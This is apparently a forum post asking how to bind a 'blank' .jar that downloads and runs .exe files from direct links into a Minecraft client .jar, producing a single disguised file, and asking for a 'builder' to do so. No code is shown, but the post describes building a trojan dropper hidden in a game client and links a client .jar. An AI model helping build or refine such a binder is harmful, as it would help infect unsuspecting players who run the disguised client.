Have blank .jar files that they download and execute .exe files from direct links

Hello, have blank .jar files that they download and execute .exe files from direct links. And I have another .jar minecraft application.

I need to be able to create myself a new .jar file with the minecraft .jar client binded together with the blank .jar file; So i need some kind of builder. a friend said i can create multiple files with different direct links without a builder using winrar and notepad

Here is the link  https://artefacts.os-scape.com/clients/OS-Scape_Client.jar